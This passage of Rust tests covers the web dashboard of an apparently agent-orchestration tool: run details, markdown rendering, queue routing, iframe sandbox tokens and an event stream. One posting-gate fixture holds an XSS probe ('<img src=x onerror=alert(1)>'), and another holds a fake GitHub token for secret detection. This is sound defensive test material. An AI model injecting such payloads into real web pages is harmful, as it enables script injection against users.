15926 assert!(!INDEX_HTML.contains("runs-tree"));
15927 assert!(!INDEX_HTML.contains("run-raw-panel"));
15928 assert!(APP_JS.contains("resume"));
15930 assert!(APP_JS.contains("unreadable"));
15932 }
15933
15934 #[test]
15935 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
15936 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
15937 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
15938 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
15939 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
15940 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
15941 assert!(APP_JS.contains("unreadable` : null"));
15943 }
15944
15945 #[test]
15946 fn blocked_run_detail_exposes_the_failed_gate_reason() {
15947 let mut state = RunState::new(
15948 "/repo".into(),
15949 "main".into(),
15950 "abc".into(),
15951 "task".into(),
15952 crate::config::Config::default(),
15953 );
15954 state.status = RunStatus::Blocked;
15955 state.gate_ran = true;
15956 state.gate.push(crate::run::CommandOutcome {
15957 command: "cargo make check".into(),
15958 code: Some(1),
15959 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
15960 duration_ms: 0,
15961 resource_blocked: false,
15962 });
15963 let view = RunDetailView::of(
15964 state,
15965 false,
15966 crate::run::Liveness::Unknown,
15967 None,
15968 None,
15969 None,
15970 );
15971 let value = serde_json::to_value(view).unwrap();
15972 assert_eq!(
15973 value["stop_reason"],
15974 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
15975 );
15976 }
15977
15978 #[test]
15979 fn the_run_detail_payload_says_whether_the_run_is_done() {
15980 for (status, done) in [
15982 (RunStatus::Superseded, true),
15983 (RunStatus::Blocked, true),
15984 (RunStatus::Landing, false),
15985 ] {
15986 let mut state = RunState::new(
15987 std::path::PathBuf::from("/repo"),
15988 "main".to_owned(),
15989 "abc".to_owned(),
15990 "x".to_owned(),
15991 crate::config::Config::default(),
15992 );
15993 state.status = status;
15994 let v = serde_json::to_value(RunDetailView::of(
15995 state,
15996 false,
15997 crate::run::Liveness::Unknown,
15998 None,
15999 None,
16000 None,
16001 ))
16002 .unwrap();
16003 assert_eq!(v["done"], done, "{status:?}");
16004 }
16005 }
16006
16007 fn has_strong(nodes: &[md::Node]) -> bool {
16009 serde_json::to_string(nodes).unwrap().contains("strong")
16010 }
16011
16012 #[test]
16013 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
16014 let mut state = RunState::new(
16015 std::path::PathBuf::from("/repo"),
16016 "main".to_owned(),
16017 "abc".to_owned(),
16018 "x".to_owned(),
16019 crate::config::Config::default(),
16020 );
16021 let proposal = |approach: &str| {
16022 serde_json::json!({
16023 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
16024 })
16025 };
16026 state.advice = Some(
16027 serde_json::from_value(serde_json::json!({
16028 "records": [
16029 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
16030 "proposal": proposal("do **this**")},
16031 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
16032 ],
16033 "synthesis": "- one\n- **two**\n\n`code`",
16034 }))
16035 .unwrap(),
16036 );
16037 state.candidates = serde_json::from_value(serde_json::json!([
16038 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
16039 "summary": "did **it**"},
16040 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
16041 ]))
16042 .unwrap();
16043 state.reviews = serde_json::from_value(serde_json::json!([{
16046 "round": 1, "head": "h",
16047 "reviews": [{
16048 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
16049 "findings": [
16050 {"severity": "nit", "title": "t1", "detail": "plain nit"},
16051 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
16052 ],
16053 }],
16054 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
16055 "fix": {"agent": "a", "notes": "fixed **it**",
16056 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
16057 }, {"round": 2, "head": "h2", "reviews": []}]))
16058 .unwrap();
16059
16060 let v = serde_json::to_value(RunDetailView::of(
16061 state,
16062 false,
16063 crate::run::Liveness::Unknown,
16064 None,
16065 None,
16066 None,
16067 ))
16068 .unwrap();
16069
16070 let strong = |p: &str| {
16071 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
16072 assert!(n.to_string().contains("strong"), "{p}: {n}");
16073 };
16074 strong("/advice_md/synthesis");
16075 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
16076 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
16077 strong("/advice_md/approaches/0");
16078 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
16079 strong("/candidate_summaries_md/0");
16080 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
16081 strong("/reviews_md/0/reviewers/0/summary");
16082 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
16083 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
16084 assert!(f[1].to_string().contains("strong"));
16085 strong("/reviews_md/0/reconsideration/0");
16086 strong("/reviews_md/0/fix/notes");
16087 strong("/reviews_md/0/fix/rejected/0");
16088 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
16089 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
16090 assert_eq!(v["candidates"][0]["summary"], "did **it**");
16092 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
16093 }
16094
16095 #[test]
16096 fn a_run_without_advice_has_no_advice_md() {
16097 let state = RunState::new(
16098 std::path::PathBuf::from("/repo"),
16099 "main".to_owned(),
16100 "abc".to_owned(),
16101 "x".to_owned(),
16102 crate::config::Config::default(),
16103 );
16104 let p = run_prose_md(&state);
16105 assert!(p.advice_md.is_none());
16106 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
16107 }
16108
16109 #[test]
16110 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
16111 let store = ask::Questions::at(PathBuf::from("unused"));
16112 let gt = crate::github_text::Withheld {
16113 title: false,
16114 body: true,
16115 categories: vec!["sensitive-data".into()],
16116 };
16117 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
16118 let (detail, comparison) =
16119 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
16120 let mut q = Question::new(
16121 "r".into(),
16122 "github-text".into(),
16123 "posting-gate".into(),
16124 "s".into(),
16125 detail,
16126 Vec::new(),
16127 );
16128 assert!(
16129 QuestionView::of(q.clone(), &store, false)
16130 .posting_view
16131 .is_none()
16132 );
16133 q.posting_comparison = Some(comparison);
16134 let view = QuestionView::of(q.clone(), &store, false);
16135 let field = &view.posting_view.unwrap().fields[0];
16136 assert_eq!(
16137 field
16138 .original
16139 .iter()
16140 .map(|f| f.text.as_str())
16141 .collect::<String>(),
16142 body
16143 );
16144 assert!(field.original[0].text.starts_with("<img"));
16145 let original_question: Question =
16146 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
16147 assert_eq!(original_question, q);
16148 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
16149 .original
16150 .start = 1;
16151 assert!(
16152 QuestionView::of(q.clone(), &store, false)
16153 .posting_view
16154 .is_none()
16155 );
16156 q.posting_comparison = original_question.posting_comparison;
16157 q.detail.push_str("extra context");
16158 assert!(
16159 QuestionView::of(q.clone(), &store, false)
16160 .posting_view
16161 .is_some()
16162 );
16163 q.detail.insert(0, 'x');
16164 assert!(QuestionView::of(q, &store, false).posting_view.is_none());
16165 }
16166
16167 #[test]
16168 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
16169 let store = ask::Questions::at(PathBuf::from("unused"));
16170 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
16171 let gt = crate::github_text::Withheld::from_check(
16172 &crate::github_text::check("fix: x", body),
16173 "fix: x",
16174 body,
16175 )
16176 .unwrap();
16177 let (detail, comparison) =
16178 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
16179 let mut q = Question::new(
16180 "r".into(),
16181 "github-text".into(),
16182 "posting-gate".into(),
16183 "s".into(),
16184 detail,
16185 Vec::new(),
16186 );
16187 q.posting_comparison = Some(comparison);
16188 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, false)).unwrap();
16189 let field = &value["posting_view"]["fields"][0];
16190 let group = &field["replacement_group"];
16191 let triggers = group["triggers"].as_array().unwrap();
16192 assert_eq!(triggers.len(), 2);
16193 assert_ne!(triggers[0], triggers[1]);
16194 for id in triggers {
16195 assert!(
16196 field["original"]
16197 .as_array()
16198 .unwrap()
16199 .iter()
16200 .any(|f| &f["pair"] == id)
16201 );
16202 assert!(
16203 !field["changed"]
16204 .as_array()
16205 .unwrap()
16206 .iter()
16207 .any(|f| &f["pair"] == id)
16208 );
16209 }
16210 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
16211 group["id"].as_u64().unwrap() as usize;
16212 assert!(
16213 QuestionView::of(q, &store, false).posting_view.is_none(),
16214 "group and trigger IDs cannot collide"
16215 );
16216 }
16217
16218 #[test]
16219 fn a_question_view_carries_markdown_for_each_thread_turn() {
16220 let home = TempDir::new().unwrap();
16221 let store = ask::Questions::at(home.path().join("questions"));
16222 let mut q = Question::new(
16223 "run".to_owned(),
16224 "implement".to_owned(),
16225 "impl-A".to_owned(),
16226 "which?".to_owned(),
16227 String::new(),
16228 Vec::new(),
16229 );
16230 q.say("plain words").unwrap();
16231 q.reply("use **this**", Vec::new()).unwrap();
16232 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
16233 let bodies = &v["thread_bodies_md"];
16234 assert_eq!(bodies.as_array().unwrap().len(), 2);
16235 assert!(!bodies[0].to_string().contains("strong"));
16236 assert!(bodies[1].to_string().contains("strong"));
16237 }
16238
16239 #[test]
16240 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
16241 let home = TempDir::new().unwrap();
16242 let store = ask::Questions::at(home.path().join("questions"));
16243 let mut q = Question::new(
16244 "run".to_owned(),
16245 "conduct".to_owned(),
16246 "conduct".to_owned(),
16247 "which?".to_owned(),
16248 String::new(),
16249 Vec::new(),
16250 );
16251 q.say("plain words").unwrap();
16252 q.thread.push(ask::Turn {
16253 who: ask::Who::Agent,
16254 body: "Settled as `merge`".to_owned(),
16255 at: jiff::Timestamp::now(),
16256 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
16257 });
16258 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
16259 let notes = &v["thread_notes_md"];
16260 assert_eq!(notes.as_array().unwrap().len(), 2);
16261 assert!(notes[0].is_null());
16262 let text = notes[1].to_string();
16263 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
16264 assert!(APP_JS.contains("ask-turn-note"));
16265 }
16266
16267 #[test]
16268 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
16269 assert!(APP_JS.contains("function landView(run, raw) {"));
16273 assert!(
16274 APP_JS.contains(
16275 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
16276 )
16277 );
16278 assert!(APP_JS.contains("const pr = landView(run, raw);"));
16279 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
16280 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
16281 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
16282 }
16283
16284 #[test]
16285 fn live_runs_are_never_hidden_or_folded_as_superseded() {
16286 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
16287 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
16288 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
16289 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
16290 }
16291
16292 #[test]
16293 fn review_rounds_label_a_distinct_verified_head() {
16294 assert!(APP_JS.contains("round.verified_head"));
16295 assert!(APP_JS.contains("verified HEAD"));
16296 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
16297 }
16298
16299 #[test]
16300 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
16301 assert!(APP_JS.contains("blocked: { glyph:"));
16305 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
16306
16307 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
16311 assert!(
16312 APP_JS.contains(
16313 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
16314 ),
16315 "the note line must name what a blocked task is waiting on, not just that it is blocked"
16316 );
16317 assert!(APP_JS.contains("if (status === \"blocked\") {"));
16321
16322 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
16326 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
16327 assert!(
16328 APP_JS.contains("location.hash = \"#/questions\";"),
16329 "a question node must jump to the Questions screen, not pretend to be a task"
16330 );
16331
16332 assert!(APP_JS.contains("Resolved questions"));
16335 assert!(APP_JS.contains("r.answersList.append("));
16336 assert!(APP_CSS.contains(".task-answers"));
16337 {
16338 let start = APP_JS
16339 .find("function updateTalkTaskRow")
16340 .expect("updateTalkTaskRow");
16341 let body = &APP_JS[start..];
16342 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
16343 assert!(
16344 body.contains(
16345 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
16346 ),
16347 "a chat-filed task row must link to the task page"
16348 );
16349 assert!(
16350 !body.contains("#/runs/") && !body.contains("#/queue/"),
16351 "the row must not branch to a run or the queue card"
16352 );
16353 assert!(APP_CSS.contains(".talk-task-link"));
16354 }
16355 }
16356
16357 #[test]
16358 fn a_task_notification_links_to_the_task_page() {
16359 let start = APP_JS
16361 .find("function noticeLink(")
16362 .expect("noticeLink exists");
16363 let body = &APP_JS[start..];
16364 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
16365 assert!(
16366 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
16367 "a task notice's link must target the task page"
16368 );
16369 assert!(
16370 !body.contains("#/queue/"),
16371 "regression: the task link must not go back to the Backlog route"
16372 );
16373 assert!(
16374 APP_JS.contains(
16375 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
16376 ),
16377 "`#/tasks/<id>` must parse into the task route"
16378 );
16379
16380 assert!(
16382 APP_JS.contains(
16383 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
16384 ),
16385 "`#/queue/<id>` must parse into a route carrying that id"
16386 );
16387
16388 assert!(APP_JS.contains("state.queueFocus = route.id;"));
16392 assert!(APP_JS.contains("function consumeQueueFocus()"));
16393 assert!(APP_JS.contains("jumpToTask(id)"));
16394 }
16395
16396 #[test]
16399 fn chat_rows_put_the_title_alone_on_the_first_line() {
16400 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
16401 assert!(APP_CSS.contains(
16402 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
16403 ));
16404 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
16405 assert!(APP_JS.contains("class: \"badge talk-unread\""));
16406 }
16407
16408 #[test]
16409 fn run_rows_put_the_title_alone_on_the_first_line() {
16410 assert!(
16411 APP_CSS.contains(
16412 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
16413 )
16414 );
16415 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
16416 assert!(APP_JS.contains("class: \"card run-card\""));
16417 assert!(APP_JS.contains("class: \"repo run-id\""));
16418 }
16419
16420 #[test]
16424 fn wide_screens_show_list_and_preview_side_by_side() {
16425 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
16427 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
16428 assert!(APP_CSS.contains("main[data-split]"));
16429 assert!(APP_CSS.contains("body[data-split]"));
16430
16431 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
16433 assert!(
16434 APP_JS.contains(
16435 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
16436 )
16437 );
16438 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
16439 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
16440 assert!(INDEX_HTML.contains("id=\"split-empty\""));
16441
16442 assert!(APP_JS.contains("function markSelected() {"));
16444 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
16445 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
16446 assert!(
16448 APP_CSS.contains(
16449 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
16450 )
16451 );
16452
16453 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
16455 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
16456 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
16457 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
16458
16459 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
16463 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
16464 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
16465 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
16466
16467 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
16469 }
16470
16471 #[test]
16472 fn panel_sandbox_carries_exactly_popups() {
16473 let needle = "sandbox: \"";
16474 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
16475 assert_eq!(
16476 matches.len(),
16477 1,
16478 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
16479 );
16480 let start = matches[0].0 + needle.len();
16481 let end = APP_JS[start..]
16482 .find('"')
16483 .expect("sandbox attribute value must be terminated by a closing quote");
16484 let val = &APP_JS[start..start + end];
16485 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
16486 let expected: std::collections::BTreeSet<&str> =
16487 ["allow-popups", "allow-popups-to-escape-sandbox"]
16488 .into_iter()
16489 .collect();
16490 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
16491 assert!(
16492 !tokens.contains("allow-scripts"),
16493 "allow-scripts must never be present in sandbox"
16494 );
16495 assert!(
16496 !tokens.contains("allow-same-origin"),
16497 "allow-same-origin must never be present in sandbox"
16498 );
16499 }
16500
16501 #[test]
16502 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
16503 assert!(
16512 APP_JS.contains(
16513 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
16514 ),
16515 "the search-clearing branch must run before state.queueFocus is cleared, or the \
16516 recursive renderQueue() call has nothing left to jump to"
16517 );
16518 assert!(
16519 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
16520 "state.queueFocus must be cleared only once the jump has landed, so a card that \
16521 arrives later still gets it"
16522 );
16523 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
16524 assert!(APP_JS.contains("is not in the current Backlog."));
16525 assert!(APP_JS.contains("li.card[data-task-id=\""));
16526 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
16527 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
16528 assert!(APP_CSS.contains(".card-permalink"));
16529 assert!(APP_CSS.contains(".queue-focus-status"));
16530 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
16531 }
16532
16533 #[test]
16534 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
16535 assert!(
16543 APP_JS.contains(
16544 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
16545 ),
16546 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
16547 );
16548 }
16549
16550 #[test]
16551 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
16552 assert!(
16553 APP_JS.contains("round.verified_head !== round.head"),
16554 "a round that verified an earlier commit must be visibly distinct from one that \
16555 verified the head reviewers are looking at now"
16556 );
16557 assert!(
16558 APP_JS.contains("round.verified_at"),
16559 "when a check ran must be on the wire, not just which commit"
16560 );
16561 assert!(
16562 APP_JS.contains("resource_blocked"),
16563 "a command magi never got to run (shared build cache contention) must not render \
16564 the same as a command that ran and failed"
16565 );
16566 }
16567
16568 #[test]
16569 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
16570 assert!(
16578 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
16579 "every KPI tile built through statusTile() must route its click through \
16580 openRunsFiltered, the single place that sets the Runs filter"
16581 );
16582 for (label, status) in [
16583 ("Merged", "merged"),
16584 ("Ready", "ready"),
16585 ("Blocked", "blocked"),
16586 ("Stalled", "stalled"),
16587 ] {
16588 let call = format!("statusTile(\"{label}\", t.{status}, ");
16589 assert!(
16590 APP_JS.contains(&call),
16591 "expected the {label} KPI tile built via {call}..."
16592 );
16593 assert!(
16594 APP_JS.contains(&format!("status === \"{status}\"")),
16595 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
16596 compare a run against, not one invented only for the stats tile"
16597 );
16598 }
16599 assert!(
16600 APP_JS.contains("function openRunsFiltered(status)"),
16601 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
16602 );
16603 assert!(
16604 APP_JS.contains(
16605 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
16606 ),
16607 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
16608 );
16609 assert!(
16617 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
16618 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
16619 hashchange event that may never fire"
16620 );
16621 }
16622
16623 #[test]
16624 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
16625 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
16631 assert!(
16632 APP_JS.contains(
16633 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
16634 ),
16635 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
16636 guard for an incompatible tree section"
16637 );
16638 }
16639
16640 #[test]
16641 fn every_stats_queue_tile_names_a_real_queue_section() {
16642 assert!(
16648 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
16649 "every queue tile built through sectionTile() must route its click through \
16650 openQueueSectionFocus"
16651 );
16652 for key in ["upnext", "running", "done", "held", "blocked"] {
16653 assert!(
16654 APP_JS.contains(&format!("{{ key: \"{key}\",")),
16655 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
16656 );
16657 }
16658 for line in [
16662 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
16663 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
16664 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
16665 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
16666 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
16667 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
16668 ] {
16669 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
16670 }
16671 }
16672
16673 #[test]
16674 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
16675 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
16682 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
16683 assert!(APP_JS.contains("function revealQueueSection(details)"));
16684 assert!(
16685 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
16686 "renderQueue() must consume both focus channels on every pass"
16687 );
16688 assert!(
16689 APP_JS.contains(
16690 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
16691 ),
16692 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
16693 the recursive renderQueue() call has nothing left to reveal"
16694 );
16695 assert!(
16696 APP_JS.contains(
16697 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
16698 ),
16699 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
16700 );
16701 assert!(
16709 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
16710 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
16711 hashchange event that may never fire"
16712 );
16713 }
16714
16715 #[tokio::test]
16716 async fn the_change_stream_announces_the_current_revisions_on_connect() {
16717 let f = Fixture::start().await;
16718
16719 let mut socket = tokio::net::TcpStream::connect(f.addr)
16720 .await
16721 .expect("connect");
16722 socket
16723 .write_all(
16724 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
16725 )
16726 .await
16727 .expect("write request");
16728
16729 let mut seen = String::new();
16732 let mut buf = [0u8; 1024];
16733 while !seen.contains("event: change") {
16734 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
16735 .await
16736 .expect("the stream must speak within five seconds")
16737 .expect("read");
16738 assert!(read > 0, "the server closed the change stream: {seen}");
16739 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
16740 }
16741
16742 assert!(
16743 seen.to_lowercase()
16744 .contains("content-type: text/event-stream"),
16745 "the browser only reconnects automatically for a real SSE stream: {seen}"
16746 );
16747 let data = seen
16748 .lines()
16749 .find_map(|l| l.strip_prefix("data:"))
16750 .expect("a data line");
16751 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
16752 assert!(
16753 payload["queue_rev"].is_u64()
16754 && payload["runs_rev"].is_u64()
16755 && payload["questions_rev"].is_u64()
16756 && payload["talks_rev"].is_u64()
16757 && payload["notifications_rev"].is_u64()
16758 && payload["loop_rev"].is_u64(),
16759 "the client needs one revision per store to know what to refetch, \
16760 and `talks_rev` is the only notification a standing talk gets - a \
16761 phone whose radio slept through a turn learns about it here, as \
16762 does one whose operator started the loop from another device: \
16763 {payload}"
16764 );
16765
16766 let health = f.get("/api/health").await.json();
16773 for key in [
16774 "queue_rev",
16775 "runs_rev",
16776 "questions_rev",
16777 "talks_rev",
16778 "notifications_rev",
16779 "loop_rev",
16780 ] {
16781 assert!(
16782 health[key].is_u64(),
16783 "health is the change stream's fallback and is missing `{key}`: {health}"
16784 );
16785 }
16786 }
16787
16788 #[tokio::test]
16789 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
16790 let f = Fixture::start().await;
16791 let before = f.get("/api/health").await.json()["talks_rev"]
16792 .as_u64()
16793 .expect("talks_rev");
16794
16795 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
16796 std::thread::sleep(Duration::from_millis(10));
16797 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
16798 on_disk.turns.push(crate::talk::Turn {
16799 breaks: Some(Vec::new()),
16800 messages: Vec::new(),
16801 posted_by: None,
16802 who: crate::talk::Who::Operator,
16803 body: "a new turn".to_owned(),
16804 at: Timestamp::now(),
16805 attachments: Vec::new(),
16806 usage: None,
16807 });
16808 f.talks().put(&mut on_disk).expect("record a turn");
16809
16810 let after = f.get("/api/health").await.json()["talks_rev"]
16811 .as_u64()
16812 .expect("talks_rev");
16813 assert_ne!(
16814 before, after,
16815 "a phone must be able to notice a talk's reply without polling every store"
16816 );
16817 }
16818
16819 #[test]
16820 fn bind_reads_back_from_the_spelling_the_cli_prints() {
16821 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
16825 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
16826 }
16827 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
16828 assert!("everywhere".parse::<Bind>().is_err());
16829 }
16830
16831 #[test]
16832 fn an_explicit_bind_address_is_taken_verbatim() {
16833 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
16834
16835 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
16836
16837 assert_eq!(addr, asked);
16838 assert!(
16839 warning.is_none(),
16840 "an operator who named an address gets no lecture"
16841 );
16842 }
16843
16844 #[test]
16845 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
16846 let (addr, warning) = resolve_bind(&Bind::Auto);
16847
16848 match addr {
16855 IpAddr::V4(ip) if is_tailnet(&ip) => {
16856 assert!(warning.is_none(), "a tailnet address needs no warning");
16857 }
16858 other => {
16859 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
16860 let warning = warning.expect("a fallback has to explain itself");
16861 assert!(
16862 warning.contains("127.0.0.1") && warning.contains("local-only"),
16863 "the warning says what happened and what it costs: {warning}"
16864 );
16865 }
16866 }
16867 }
16868
16869 #[test]
16870 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
16871 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
16875 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
16876 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
16877 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
